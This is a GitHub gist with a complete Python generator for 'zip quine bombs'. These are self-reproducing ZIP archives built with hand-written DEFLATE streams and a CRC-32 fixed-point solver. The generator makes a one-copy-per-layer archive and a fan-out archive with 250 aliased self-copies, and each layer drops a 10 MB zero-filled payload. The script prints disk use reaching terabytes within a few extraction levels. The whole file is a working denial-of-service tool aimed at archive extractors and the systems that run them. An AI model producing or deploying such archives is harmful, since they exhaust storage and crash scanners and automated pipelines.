Skip to content

Instantly share code, notes, and snippets.

@LuxXx
Last active September 3, 2026 11:32
Show Gist options
  • Select an option

  • Save LuxXx/fc8d41c3dc2f35e83be4732191d6b3d9 to your computer and use it in GitHub Desktop.

Select an option

Save LuxXx/fc8d41c3dc2f35e83be4732191d6b3d9 to your computer and use it in GitHub Desktop.
ZIP Quine Bomb
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
========================================================================
ZIP QUINE BOMB — a zip that unpacks into copies of *itself*
========================================================================
Run this file:
python3 source_code.py
and it writes `zipbomb.zip`. Open that zip and you get:
* README.md (credits + how it works)
* source_code.py (this exact file — the code that built the zip)
* copy_001.zip ... (NUMBER_OF_ZIP_FILES byte-identical copies of the
whole zip)
Each `copy_XXX.zip` is *the archive itself*, byte for byte. So unpacking a
copy gives you the readme, the source, and another N copies... forever.
It is a quine (it contains itself) and a bomb (it fans out N-ways at every
level of unpacking), and the whole thing is well under 1 MB.
-------------------------- HOW IT WORKS ------------------------------
A zip stores each file as a DEFLATE stream. DEFLATE is a tiny virtual
machine with two moves: emit literal bytes, or "copy N bytes from D bytes
back". The trick (Russ Cox, "Zip Files All The Way Down") is to hand-write
a DEFLATE program whose *output is the program itself*, wrapped in just
enough zip scaffolding (local headers, central directory) that the output
is a valid zip containing that very stream.
Two more pieces make it a bomb:
* The stored CRC-32 of the self-copy must equal the CRC of the whole
file — but that CRC lives *inside* the file it is checksumming. CRC-32
is affine over GF(2), so a small linear solve finds the fixed-point
value that makes the file check out (`solve_rank1`).
* To get N copies for free we add N central-directory entries that all
alias the single self-referential stream under different names. One
stream, N files. (Info-ZIP's `unzip` prints a harmless "mismatching
local filename" note for the aliased entries; `zipfile`, macOS and
7-Zip are silent. Extraction is always correct.)
The DEFLATE/zip construction here is a Python port of Ruben Van Mello's
generator (master's thesis, Ghent University). The self-reproduction idea
is Russ Cox's. The mischief is mine.
— @luxdav
========================================================================
"""
import struct
import zlib
import sys
# ============================ KNOBS =====================================
PAYLOAD_MB = 10 # compressible 'kaboom.bin' dropped every layer; 0 disables
FANOUT_COPIES = 250 # self-copies in the fan-out build
FANOUT_BASENAME = "zipquinebomb" # its copies are zipquinebomb_001.zip, _002.zip, ...
OUTPUT_COMPAT = "zipquinebomb.zip" # 1 copy/layer -- opens in EVERY extractor incl. Finder
OUTPUT_FANOUT = "zipquinebomb_fanout.zip" # many copies -- explodes, but `unzip`/Windows only
#
# Why two files? A quine can carry only ONE real self-copy cheaply. macOS Archive
# Utility (and libarchive/bsdtar) extract by walking real local headers, so they
# only ever see that one copy. To get FANOUT_COPIES copies we add extra central-
# directory entries that alias the single stream -- which `unzip` and Windows honor
# but streaming extractors reject. So: a universal 1-copy quine, plus the fan-out.
#
# The payload's *compressed* bytes live inside the (necessarily tiny) quine, so
# PAYLOAD_MB is capped near ~20 by DEFLATE's 32 KB window.
# =================== DEFLATE static-Huffman tables ======================
# length base -> (symbol, extra bits) and distance base -> (symbol, extra bits)
LENGTH_MAP = {
3:(257,0),4:(258,0),5:(259,0),6:(260,0),7:(261,0),8:(262,0),9:(263,0),10:(264,0),
11:(265,1),13:(266,1),15:(267,1),17:(268,1),19:(269,2),23:(270,2),27:(271,2),31:(272,2),
35:(273,3),43:(274,3),51:(275,3),59:(276,3),67:(277,4),83:(278,4),99:(279,4),115:(280,4),
131:(281,5),163:(282,5),195:(283,5),227:(284,5),258:(285,0)}
DIST_MAP = {
1:(0,0),2:(1,0),3:(2,0),4:(3,0),5:(4,1),7:(5,1),9:(6,2),13:(7,2),17:(8,3),25:(9,3),
33:(10,4),49:(11,4),65:(12,5),97:(13,5),129:(14,6),193:(15,6),257:(16,7),385:(17,7),
513:(18,8),769:(19,8),1025:(20,9),1537:(21,9),2049:(22,10),3073:(23,10),4097:(24,11),
6145:(25,11),8193:(26,12),12289:(27,12),16385:(28,13),24577:(29,13)}
_LEN_KEYS = sorted(LENGTH_MAP)
_DIST_KEYS = sorted(DIST_MAP)
def _find_last(keys, v):
r = keys[0]
for k in keys:
if v >= k: r = k
else: break
return r
def rev_byte(b):
b &= 0xff; r = 0
for _ in range(8):
r = (r << 1) | (b & 1); b >>= 1
return r
def rev_int(x):
x &= 0xffffffff; r = 0
for _ in range(32):
r = (r << 1) | (x & 1); x >>= 1
return r
def le16(x): return struct.pack('<H', x & 0xffff)
def le32(x): return struct.pack('<I', x & 0xffffffff)
# ===================== DEFLATE bit-level encoder ========================
class Huffman:
"""Emits raw DEFLATE. State (partial byte + bit count) carries across
blocks so a compressed block can 'borrow' the leading zero bits of the
stored block that follows it — that is what keeps every repeat gadget
exactly 5 bytes and byte-aligned."""
def __init__(self):
self.byte = 0
self.bits = 0
def _flush(self):
out = []
full = self.bits // 8
for i in range(1, full + 1):
out.append(rev_byte((self.byte >> (self.bits - 8 * i)) & 0xff))
self.bits -= full * 8
self.byte = (self.byte & ((1 << self.bits) - 1)) if self.bits > 0 else 0
return out
def stored_block(self, literal, is_last, zero_literal=False):
# 3-bit header (BFINAL, BTYPE=00), pad to byte, LEN, ~LEN, data
self.byte = (self.byte << 1) ^ (1 if is_last else 0)
self.byte = self.byte << 2
self.bits += 3
if self.bits % 8 != 0:
pad = 8 - self.bits % 8
self.byte <<= pad; self.bits += pad
n = len(literal)
out = bytes(self._flush())
self.byte = 0; self.bits = 0
hdr = out + le16(n) + le16(~n & 0xffff)
return hdr if zero_literal else hdr + bytes(literal)
def repeat_block(self, tokens, is_last):
# a BTYPE=01 (fixed Huffman) block of length/distance back-references
enc = []
self.byte = (self.byte << 1) ^ (1 if is_last else 0)
self.byte = (self.byte << 2) ^ 2
self.bits += 3
for (dist, length) in tokens:
base = _find_last(_LEN_KEYS, length)
code, extra = LENGTH_MAP[base]
if 256 <= code <= 279:
self.byte = (self.byte << 7) ^ (((code << 1) & 0xff) >> 1)
if extra > 0:
self.byte = (self.byte << extra) ^ rev_byte(((length - base) << (8 - extra)) & 0xff)
self.bits += 7 + extra
else:
self.byte = (self.byte << 8) ^ ((code - 88) & 0xff)
if extra > 0:
self.byte = (self.byte << extra) ^ rev_byte(((length - base) << (8 - extra)) & 0xff)
self.bits += 8 + extra
enc += self._flush()
base = _find_last(_DIST_KEYS, dist)
code, extra = DIST_MAP[base]
self.byte = (self.byte << 5) ^ (((code << 3) & 0xff) >> 3)
if extra > 0:
ev = rev_int(dist - base) & 0xffffffff
self.byte = (self.byte << extra) ^ (ev >> (32 - extra))
self.bits += 5 + extra
enc += self._flush()
self.byte = self.byte << 7 # end-of-block symbol 256 = 7 zero bits
self.bits += 7
enc += self._flush()
return bytes(enc)
def encode(self, tokens):
out = b''
lits = []; reps = []
for t in tokens:
if t[0] == 'L':
if reps:
out += self.repeat_block(reps, False); reps = []
lits.append(t[1])
else:
if lits:
out += self.stored_block(lits, False); lits = []
reps.append((t[1], t[2]))
if reps:
out += self.repeat_block(reps, True)
elif lits:
out += self.stored_block(lits, True)
if self.bits != 0:
self.byte <<= (8 - self.bits); self.bits += (8 - self.bits)
out += bytes(self._flush())
return out
def lit_hdr(size, is_last=False):
"""The 5 header bytes of a stored (literal) block of `size` bytes."""
first = 128 if is_last else 0
return bytes([first]) + le16(size) + le16(~size & 0xffff)
def _reps_for(distance, size):
toks = [(distance, 258) for _ in range(size // 258)]
toks.append((distance, size % 258))
return toks
def five_byte_split(distance, length):
"""Two repeat tokens (same distance) whose lengths sum to `length` and which
encode to exactly 5 bytes (40 bits) on a byte boundary -- or None. Used to
close the loop on an aligned unit. Tested with a fresh (aligned) coder, which
matches the shared coder because the loop reaches this point byte-aligned."""
for i in range(3, length - 2):
b = Huffman().repeat_block([(distance, i), (distance, length - i)], False)
if len(b) == 5:
return [(distance, i), (distance, length - i)]
return None
def _split_reps(total):
"""Repeat lengths (all distance=total) that sum to EXACTLY total, each >= 3."""
n = total // 258
r = total - n * 258
toks = [(total, 258)] * n
if r == 0:
pass
elif r < 3:
toks = [(total, 258)] * (n - 1) + [(total, 129), (total, 129 + r)]
else:
toks += [(total, r)]
return toks
def calc_last_repeat(footer_size):
"""The closing gadget reproduces the trailing [last][footer] region, whose
size is footer_size + len(last) -- and len(last) depends on that size, so we
iterate to a fixed point.
The repeat block is emitted NON-final and the terminating BFINAL is the very
last (empty) stored block, so the DEFLATE stream ends exactly at the declared
compressed size with no trailing bytes -- which strict streaming extractors
(bsdtar/libarchive, macOS Archive Utility) require."""
last = b''
for _ in range(16):
total = footer_size + len(last)
if total > 32768:
raise ValueError("footer too large for one back-reference (%d > 32768); "
"lower NUMBER_OF_ZIP_FILES" % total)
h = Huffman()
b = h.repeat_block(_split_reps(total), False) # NON-final repeat
b += h.stored_block([], False, zero_literal=True) # absorbs the repeat's leftover bits
b += h.stored_block([], True, zero_literal=True) # BFINAL terminates here
if len(b) == len(last):
return b
last = b
raise RuntimeError("calc_last_repeat did not converge")
class QuineSizeError(Exception):
"""Raised when the prefix size makes the closing 5-byte gadget impossible;
the caller retries with a different amount of local-header padding."""
def generate_quine(zip_prefix, footer):
"""Return a DEFLATE stream D such that inflate(D) == zip_prefix + D + footer.
Method from Russ Cox; port of Ruben Van Mello's construction."""
q = b''
h = Huffman()
first = list(zip_prefix)
first += list(lit_hdr(len(first) + 5))
bta = h.stored_block(first, False) # Lp+1 : literal-emit P and this header
q += bta
p1 = len(first)
bta = h.repeat_block(_reps_for(p1, p1), False) # Rp+1 : reproduce those p+1 bytes
q += bta
# Lx, L1, Lx+3, Rx+3 layers. Each layer shrinks x; keep going (emitting the
# natural, possibly bit-unaligned repeat) until x is small enough that Rx+3
# can be a single byte-aligned 5-byte unit -- that aligned unit is what the
# closing R4 gadget needs.
for _guard in range(24):
lx3 = b''
bta = h.stored_block(list(bta), False)
lx3 += bta[5:]; q += bta
lx = bta[:5]
bta = h.stored_block(list(lx), False)
lx3 += bta; q += bta
lx3 += lit_hdr(len(lx3) + 5)
bta = h.stored_block(list(lx3), False)
q += bta
x = bta[5:]
reps = _reps_for(len(x), len(x))
split = five_byte_split(len(x), len(x)) if len(reps) == 1 else None
if split is not None:
bta = h.repeat_block(split, False) # aligned 5-byte unit -> exit
assert len(bta) == 5
q += bta
break
bta = h.repeat_block(reps, False) # natural repeat -> keep shrinking
q += bta
else:
raise QuineSizeError()
lz3 = b'' # closing Lz, L1, Lz+3
bta = h.stored_block(list(bta), False)
lz3 += bta[5:]; q += bta
lx = bta[:5]
bta = h.stored_block(list(lx), False)
lz3 += bta; q += bta
lz3 += lit_hdr(len(lz3) + 5)
q += h.stored_block(list(lz3), False)
R4 = bytes([0x42, 0x88, 0x21, 0xc4, 0x00]) # constant 5-byte "copy 4 bytes" gadget
q += R4 # Rz+3
q += h.stored_block(list(R4) + list(lit_hdr(20)) + list(R4) + list(lit_hdr(20)), False) # L4
q += R4 # R4
last = calc_last_repeat(len(footer))
q += h.stored_block(list(R4) + list(lit_hdr(0)) + list(lit_hdr(0)) +
list(lit_hdr(len(last) + len(footer))), False) # L4
q += R4 # R4
q += lit_hdr(0) # L0
q += lit_hdr(0) # L0
q += lit_hdr(len(last) + len(footer)) + last + footer # Ls+y+2 payload
q += last # Rs+y+2 L0 L0
return q
# ===================== CRC-32 fixed-point solver ========================
# CRC-32 is affine over GF(2). A self-referential file stores a checksum that
# is part of the very bytes it checksums; this solves for the value X such
# that CRC32(file_with_X_written_at_those_offsets) == X.
_POLY = 0x104C11DB7
def _probe(p): return p.bit_length() - 1 if p else 0
def _mulraw(a, b):
r = 0; i = 0
while b:
if b & 1: r ^= a << i
b >>= 1; i += 1
return r
def _polydivmod(dividend, divisor):
pb = _probe(divisor)
quot = 0; rem = dividend
for i in range(63 - pb, -1, -1):
if rem & (1 << (pb + i)):
quot |= (1 << i); rem ^= divisor << i
return quot, rem
def _mul(a, b, mod=_POLY): return _polydivmod(_mulraw(a, b), mod)[1]
def _xgcd(p1, p2):
if _probe(p1) < _probe(p2):
g, f, d = _xgcd(p2, p1); return f, g, d
if p2 == 0: return p1, 0, p1
q, r = _polydivmod(p1, p2)
c1p, c2p, d = _xgcd(p2, r)
return c2p, c1p ^ _mulraw(c2p, q), d
def _minv(p, mod=_POLY):
a, b, g = _xgcd(p, mod)
return 0 if g != 1 else _polydivmod(a, mod)[1]
def _divide(a, b, mod=_POLY): return _mul(a, _minv(b, mod), mod)
def solve_rank1(data, offsets):
"""data: bytearray with placeholder bytes at each offset (they are ignored
by the math). Solve so CRC32(data)==X, write X at every offset, return X."""
offs = {o: 0 for o in offsets}
n = 1
M = [[0, 0xffffffff]]
i = 0; L = len(data)
while i < L:
if i in offs:
M[0][0] ^= 1
for j in range(n + 1):
M[0][j] = _mul(M[0][j], 0x100000000)
i += 4; continue
byte = data[i]
for j in range(8):
if byte & (1 << j): M[0][n] ^= 0x80000000
M[0][n] = _mul(M[0][n], 2)
M[0][0] = _mul(M[0][0], 0x100)
i += 1
M[0][0] ^= 1
M[0][n] ^= 0xffffffff
res = _divide(M[0][n], M[0][0])
impl = 0
for bit in range(32):
if res & (1 << bit): impl |= (1 << (31 - bit))
X = bytes([impl & 0xff, (impl >> 8) & 0xff, (impl >> 16) & 0xff, (impl >> 24) & 0xff])
for o in offsets:
data[o:o + 4] = X
return X
# ========================= ZIP assembly =================================
SENT = b'\xde\xad\xbe\xef' # placeholder standing in for the self CRC
DOS_TIME = le16(0)
DOS_DATE = le16(0x21) # 1980-01-01, fixed so the build is reproducible
def raw_deflate(data):
c = zlib.compressobj(9, zlib.DEFLATED, -15)
return c.compress(data) + c.flush()
def lfh(name, comp, uncomp, crc4, extra=b''):
n = name.encode()
return (b'PK\x03\x04' + le16(20) + le16(0) + le16(8) + DOS_TIME + DOS_DATE +
crc4 + le32(comp) + le32(uncomp) + le16(len(n)) + le16(len(extra)) + n + extra)
def pad_extra(t):
"""A valid extra field of total length t (t == 0 or t >= 4), used only to
nudge the prefix size until the quine's closing gadget lines up."""
if t == 0:
return b''
if t < 4:
t = 4
return le16(0xFACE) + le16(t - 4) + b'\x00' * (t - 4) # unknown id -> ignored by unzip
def cd(name, comp, uncomp, crc4, offset):
n = name.encode()
return (b'PK\x01\x02' + le16(20) + le16(20) + le16(0) + le16(8) + DOS_TIME + DOS_DATE +
crc4 + le32(comp) + le32(uncomp) + le16(len(n)) + le16(0) + le16(0) +
le16(0) + le16(0) + le32(0) + le32(offset) + n)
def eocd(count, cd_size, cd_off):
return (b'PK\x05\x06' + le16(0) + le16(0) + le16(count) + le16(count) +
le32(cd_size) + le32(cd_off) + le16(0))
def fanout_names(n):
w = len(str(n))
return ["%s_%0*d.zip" % (FANOUT_BASENAME, w, i + 1) for i in range(n)]
def build(bundle_files, names):
"""bundle_files: [(name, data), ...] stored normally. Plus one self-copy per
entry in `names`, each extracting to a byte-identical copy of the whole
archive. len(names) == 1 gives a universal quine; more uses central-directory
aliasing (compact, but `unzip`/Windows only)."""
n_copies = len(names)
self_name = names[0] # the single real local header
bundle = b''; bundle_cd = b''; off = 0
for name, data in bundle_files:
comp = raw_deflate(data)
c4 = le32(zlib.crc32(data) & 0xffffffff)
h = lfh(name, len(comp), len(data), c4)
bundle += h + comp
bundle_cd += cd(name, len(comp), len(data), c4, off)
off += len(h) + len(comp)
def make_footer(comp, uncomp, cd_start):
copies_cd = b''.join(cd(nm, comp, uncomp, SENT, off) for nm in names)
cds = bundle_cd + copies_cd
return cds + eocd(len(bundle_files) + n_copies, len(cds), cd_start)
footer0 = make_footer(0, 0, 0)
S_len = len(footer0)
# Both prefix P and footer S are reproduced by single DEFLATE back-references,
# so each must stay under the 32 KB window.
if len(bundle) >= 32000:
raise ValueError("prefix too big (%d B): lower PAYLOAD_MB or shrink source" % len(bundle))
if S_len >= 32000:
raise ValueError("footer too big (%d B): lower NUMBER_OF_ZIP_FILES" % S_len)
# The closing gadget only works for certain prefix sizes, so try padding the
# quine's local-header extra field until generate_quine succeeds.
for t in [0] + list(range(4, 260)):
extra = pad_extra(t)
lhq_len = len(lfh(self_name, 0, 0, SENT, extra))
P_len = len(bundle) + lhq_len
try:
quine = generate_quine(bundle + lfh(self_name, 0, 0, SENT, extra), footer0)
except QuineSizeError:
continue
L = len(quine)
total = P_len + L + S_len
footer = make_footer(L, total, P_len + L)
P = bundle + lfh(self_name, L, total, SENT, extra)
quine = generate_quine(P, footer) # rebuild with real header fields
if len(quine) != L:
continue
break
else:
raise RuntimeError("could not find a working prefix padding")
full = bytearray(P + quine + footer)
assert len(full) == total
offsets = []
i = full.find(SENT)
while i != -1:
offsets.append(i); i = full.find(SENT, i + 1)
assert len(offsets) == 2 * (1 + n_copies), "unexpected sentinel count %d" % len(offsets)
X = solve_rank1(full, offsets)
assert zlib.crc32(bytes(full)) & 0xffffffff == struct.unpack('<I', X)[0]
return bytes(full)
# =========================== README =====================================
README = b"""# zip quine bomb
A zip file that unpacks into copies of itself.
Open this archive and you'll find this `README.md`, the `source_code.py`
that generated the whole thing, a big compressible `kaboom.bin`, and one or
more copies of this very archive -- byte for byte. Every copy unpacks into
all of this again, so you can keep going forever, each level dropping another
`kaboom.bin`.
It is a **quine** (it contains itself) and a **bomb** (it recurses without
end), yet the file on disk is tiny.
`source_code.py` builds two flavors:
* `zipquinebomb.zip` -- one self-copy per layer. Opens in **every** extractor
(macOS Finder / Archive Utility, `unzip`, Windows, bsdtar). Recurses forever.
* `zipquinebomb_fanout.zip` -- hundreds of self-copies per layer, so a full
unpack blows up exponentially. Use the `unzip` command or Windows; macOS
Archive Utility only pulls the first copy (see "how" below).
## why the file itself stays small
A quine reproduces itself *exactly*. If unpacking gave you a bigger file it
wouldn't be a copy any more -- so the self-reference that lets a tiny file
recurse forever is exactly what forces every layer to be the same size. On
top of that, DEFLATE back-references only reach 32 KB, which pins any
self-reproducing zip to well under 64 KB. So the zip can't grow.
The explosion happens in what you *extract*, not in the files. With N copies
per layer, unpacking to depth d gives N**d copies, each also dropping the
payload. That is terabytes within a handful of layers -- an unbounded fractal
of zips, from a seed you could paste into a tweet.
## how
Each entry in a zip is a DEFLATE stream. DEFLATE is a two-instruction
machine: "emit these literal bytes" and "copy N bytes from D bytes back".
You can hand-write a DEFLATE program whose output is that same program,
then dress it in just enough zip structure that the output is a valid zip
containing the stream. The stored CRC-32 has to equal the checksum of the
whole file while living inside it, which is a little linear-algebra
fixed-point puzzle over GF(2). The fan-out's many copies are extra central-
directory entries that all alias the single self-referential stream: `unzip`
and Windows follow the central directory and unpack all of them, but macOS
Archive Utility and libarchive stream by local headers and only see the one
real copy -- which is exactly why the compatible build ships one copy.
The self-reproducing-zip idea is Russ Cox's ("Zip Files All The Way
Down"). The DEFLATE construction is a Python port of Ruben Van Mello's
generator. `source_code.py` in this archive is the exact program that
built it -- run it and it rebuilds this same file.
## credits
Built for fun by **@luxdav**
* twitter: https://twitter.com/luxdav
* github: https://github.com/LuxXx
Standing on the shoulders of Russ Cox and Ruben Van Mello.
"""
# ============================ main ======================================
def human(n):
for unit in ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB']:
if n < 1024 or unit == 'EB':
return "%.1f %s" % (n, unit)
n /= 1024.0
def main():
with open(__file__, 'rb') as f:
own_source = f.read() # embed *this* file -> the zips are also program-quines
bundle = [("README.md", README), ("source_code.py", own_source)]
if PAYLOAD_MB > 0:
bundle.append(("kaboom.bin", b'\x00' * (PAYLOAD_MB * 1024 * 1024)))
# 1) universal quine: a single self-copy named like the archive -> opens everywhere
z1 = build(bundle, [OUTPUT_COMPAT])
with open(OUTPUT_COMPAT, 'wb') as f:
f.write(z1)
print("wrote %s (%s)" % (OUTPUT_COMPAT, human(len(z1))))
print(" opens in EVERY extractor: Finder / Archive Utility, bsdtar, unzip, Windows")
print(" unzip -> README.md, source_code.py, %s, and one identical copy" %
("kaboom.bin" if PAYLOAD_MB else "(no payload)"))
print(" that copy opens to the same thing... forever (a true quine, never terminates)")
print()
# 2) fan-out bomb: many aliased self-copies -> explosive, but unzip/Windows only
N = FANOUT_COPIES
z2 = build(bundle, fanout_names(N))
with open(OUTPUT_FANOUT, 'wb') as f:
f.write(z2)
print("wrote %s (%s)" % (OUTPUT_FANOUT, human(len(z2))))
print(" `unzip`/Windows only (macOS Archive Utility only extracts the first copy)")
print(" every unpack yields %d identical copies + %s" %
(N, "kaboom.bin" if PAYLOAD_MB else "the files"))
drop = (PAYLOAD_MB * 1024 * 1024) if PAYLOAD_MB else len(z2)
print(" extraction explosion (unpack every zip down to depth d):")
for d in range(1, 6):
disk = drop * (N ** d - 1) // (N - 1) + len(z2) * (N ** d)
print(" depth %d : %-15s copies ~%s on disk" %
(d, format(N ** d, ','), human(disk)))
print(" ... unbounded. Neither file ever grows; the extracted tree does.")
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment